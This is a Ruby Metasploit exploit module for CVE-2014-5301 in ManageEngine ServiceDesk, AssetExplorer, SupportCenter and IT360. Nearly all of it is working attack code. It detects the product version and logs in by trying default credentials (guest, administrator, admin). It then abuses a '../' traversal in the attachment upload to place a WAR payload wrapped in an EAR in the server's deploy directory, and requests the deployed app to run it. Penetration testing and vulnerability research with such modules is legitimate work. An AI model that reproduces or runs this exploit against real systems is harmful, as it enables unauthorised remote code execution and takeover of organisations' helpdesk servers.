require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Multiple Products Authenticated File Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk,
AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts
the upload does not handle correctly '../' sequences, which can be abused to write
in the file system. Authentication is needed to exploit this vulnerability, but this module
will attempt to login using the default credentials for the administrator and guest
accounts. Alternatively you can provide a pre-authenticated cookie or a username / password
combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All
versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been
been tested successfully in Windows and Linux on several versions.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5301'],
['OSVDB', '116733'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'],
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5']
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'Privileged' => false,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', { } ],
[ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9',
{
'attachment_path' => '/workorder/Attachment.jsp'
}
],
[ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1',
{
'attachment_path' => '/common/FileAttachment.jsp'
}
],
[ 'IT360 v8-v10.4',
{
'attachment_path' => '/common/FileAttachment.jsp'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 15 2014'))
register_options(
[
Opt::RPORT(8080),
OptString.new('JSESSIONID',
[false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']),
OptString.new('IAMAGENTTICKET',
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME',
[true, 'The username to login as', 'guest']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'guest']),
OptString.new('DOMAIN_NAME',
[false, 'Name of the domain to logon to'])
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
version = [ 9999, 9999, 0, 'sd' ]
if res && res.code == 200
if res.body.to_s =~ /ManageEngine ServiceDesk/
if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/
output = $1
version = [output[0].to_i, output[2].to_i, '0', 'sd']
end
if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/
version[2] = $1.to_i
elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/
version[2] = $1.to_i
end
elsif res.body.to_s =~ /ManageEngine AssetExplorer/
if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ ||
res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/
output = $1
version = [output[0].to_i, output[2].to_i, 0, 'ae']
end
if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/
version[2] = $1.to_i
end
elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/
version[3] = 'sc'
if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/
version[2] = $1.to_i
end
elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/
version[3] = 'it'
end
elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
version[3] = 'it'
end
version
end
def check
version = get_version
if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') ||
(version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') ||
(version[3] == 'sc' && version[2] < 99999)
return Exploit::CheckCode::Appears
end
if (version[2] > 9030 && version[3] == 'sd') ||
(version[2] > 99999 && version[3] == 'ae') ||
(version[2] > 99999 && version[3] == 'sc')
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def authenticate_it360(port, path, username, password)
if datastore['DOMAIN_NAME'] == nil
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'false'
}
else
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'true',
'domainName' => datastore['DOMAIN_NAME']
}
end
res = send_request_cgi({
'rport' => port,
'method' => 'POST',
'uri' => normalize_uri(path),
'vars_get' => {
'service' => 'ServiceDesk',
'furl' => '/',
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
return res.get_cookies
else
return nil
end
end
def get_it360_cookie_name
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("/")
})
cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
else
return nil
end
end
def login_it360
if datastore['IAMAGENTTICKET']
cookie_name = get_it360_cookie_name
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
return cookie
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})
if res && res.redirect?
uri = [ res.redirection.port, res.redirection.path ]
else
return nil
end
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
if cookie != nil
return cookie
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
if cookie != nil
return cookie
else
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
if cookie != nil
return cookie
end
end
end
nil
end
def authenticate(cookie, username, password)
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => {
'j_username' => username,
'j_password' => password,
'logonDomainName' => datastore['DOMAIN_NAME']
}
})
if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/))
return true
else
return false
end
end
def login
if datastore['JSESSIONID'] != nil
cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';'
return cookie
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})
if res && res.code == 200
cookie = res.get_cookies
authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD'])
if authenticated
return cookie
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
authenticated = authenticate(cookie, 'administrator', 'administrator')
if authenticated
return cookie
else
authenticated = authenticate(cookie, 'admin', 'admin')
if authenticated
return cookie
end
end
end
end
nil
end
def send_multipart_request(cookie, payload_name, payload_str)
if payload_name =~ /\.ear/
upload_path = '../../server/default/deploy'
else
upload_path = rand_text_alpha(4+rand(4))
end
post_data = Rex::MIME::Message.new
if @my_target == targets[1]
post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"")
post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"")
post_data.add_part('', nil, nil, "form-data; name=\"vec\"")
post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"")
post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"")
post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"")
post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"")
else
post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"")
post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"")
end
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(@my_target['attachment_path']),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie
})
return res
end
def pick_target
return target if target.name != 'Automatic'
version = get_version
if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') ||
(version[0] == 4 && version[3] == 'ae') ||
(version[3] == 'sc')
return targets[1]
elsif version[3] == 'it'
return targets[3]
else
return targets[2]
end
end
def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end
print_status("#{peer} - Selecting target...")
@my_target = pick_target
print_status("#{peer} - Selected target #{@my_target.name}")
if @my_target == targets[3]
cookie = login_it360
else
cookie = login
end
if cookie.nil?
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate")
end
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
war_payload = payload.encoded_war({ :app_name => war_app_base })
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
app_xml << '<application>'
app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>"
app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>"
app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>"
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
ear_file.add_file(war_app_base + '.war', war_payload.to_s)
ear_file.add_file('META-INF/application.xml', app_xml)
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear'
if @my_target != targets[3]
print_status("#{peer} - Uploading bogus file...")
res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4)))
if res && res.code != 200
fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed")
end
end
print_status("#{peer} - Uploading EAR file...")
res = send_multipart_request(cookie, ear_file_name, ear_file.pack)
if res && res.code == 200
print_status("#{peer} - Upload appears to have been successful")
else
fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed")
end
10.times do
select(nil, nil, nil, 2)
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi({
'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
break if res.nil?
break if res.code == 200
end
end
end